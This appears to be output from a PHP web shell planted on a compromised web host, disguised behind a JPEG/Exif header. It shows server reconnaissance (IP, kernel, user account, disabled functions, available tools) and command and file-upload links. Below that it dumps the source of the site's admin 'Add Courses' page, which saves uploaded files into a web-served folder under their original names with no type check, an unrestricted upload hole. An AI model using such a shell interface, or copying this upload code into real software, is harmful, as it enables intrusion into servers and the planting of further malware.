����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 3.143.254.28 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/mhmsfzcs/vflyorions.com/admin/assets/../ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include 'db.php'; include 'header.php'; include 'sidebar.php'; $id=""; $heading=""; $image=""; $description=""; if (isset($_POST['add'])) { $heading=$_POST['heading']; $price=$_POST['price']; $image=$_FILES['image']['name']; $s_description=$_POST['s_description']; $f_description=$_POST['f_description']; $curriculum=$_POST['curriculum']; $upload='uploads/'.$image; $insert2 = $conn->prepare("INSERT INTO `courses`(`heading`,`price`,`image`,`short_description`,`long_description`,`curriculum`) VALUES (?,?,?,?,?,?)"); $insert2->bind_param("ssssss",$heading,$price,$image,$s_description,$f_description,$curriculum); $res=$insert2->execute(); $destinationfile='assets/course_image/'.$image; move_uploaded_file($_FILES['image']['tmp_name'], $destinationfile); // $destinationfile1='assets/product_image/'.$rating; // move_uploaded_file($_FILES['rating']['tmp_name'], $destinationfile1); if($res) { $_SESSION['status']="Added Successfully"; $_SESSION['status_code']="success"; } else { $_SESSION['status']="Oops something went wrong!!"; $_SESSION['status_code']="error"; } } ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <div class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1 class="m-0">Add Courses</h1> </div><!-- /.col --> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="#">Home</a></li> <li class="breadcrumb-item active">Dashboard</li> </ol> </div><!-- /.col --> </div><!-- /.row --> </div><!-- /.container-fluid --> </div> <!-- /.content-header --> <!-- Main content --> <section class="content"> <div class="container-fluid"> <div class="row"> <div class="col-sm-3"> </div> <div class="col-sm-6"> <div class="card card-primary"> <div class="card-header"> <h3 class="card-title">Add Courses</h3> </div> <!-- /.card-header --> <!-- form start --> <form method="post" enctype="multipart/form-data"> <div class="card-body"> <div class="row"> <div class="col-sm-6"> <div class="form-group"> <label>Course Heading</label> <input type="text" required="" data-pristine-required-message="Please Enter a Heading" name="heading" class="form-control" placeholder="Enter Course heading" /> </div> <div class="form-group"> <label>Price </label> <input type="text" required="" data-pristine-required-message="Please Enter a Price" name="price" class="form-control" placeholder="Enter Price" /> </div> <div class="form-group"> <label>Image </span></label> <input type="file" required="" data-pristine-required-message="Please Upload Image" name="image" class="form-control" placeholder="Image" /> </div> </div> <div class="col-sm-6"> <!-- <div class="form-group">--> <!-- <label>Rating </span></label>--> <!-- <select name="rating" class="form-control" required>--> <!-- <option value="">Select</option>--> <!-- <option value="1">1</option>--> <!-- <option value="2">2</option>--> <!-- <option value="3">3</option>--> <!-- <option value="4">4</option>--> <!-- <option value="5">5</option>--> <!-- </select> --> <!--</div>--> <div class="form-group"> <label>Short Description <span style="color:red;">*</span></label> <textarea required="" data-pristine-required-message="Please Enter a Descripton" name="s_description" class="form-control" placeholder="Enter Short Description" ></textarea> </div> <div class="form-group"> <label>Full Description <span style="color:red;">*</span></label> <textarea required="" data-pristine-required-message="Please Enter a Descripton" name="f_description" class="form-control" placeholder="Enter Full Description" ></textarea> </div> <div class="form-group"> <label>Curriculum<span style="color:red;">*</span></label> <textarea required="" data-pristine-required-message="Please Enter a Curriculum" name="curriculum" class="form-control" placeholder="Enter Full Curriculum" ></textarea> </div> </div> </div> </div> <!-- /.card-body --> <div class="card-footer"> <button type="submit" name="add" class="btn btn-primary">Submit</button> </div> </form> </div> <!-- /.card --> </div> <div class="col-sm-3"> </div> </div> </div><!--/. container-fluid --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <!-- Control Sidebar --> <aside class="control-sidebar control-sidebar-dark"> <!-- Control sidebar content goes here --> </aside> <!-- /.control-sidebar --> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <?php if(isset($_SESSION['status']) && $_SESSION['status']!='') { ?> <script> new swal({ title: "<?php echo $_SESSION['status'];?>", //text: "You clicked the button!", icon: "<?php echo $_SESSION['status_code'];?>", button: "OK", }).then(function() { window.location = ""; }); </script> <?php unset($_SESSION['status']); } ?> <?php include 'footer.php'; ?>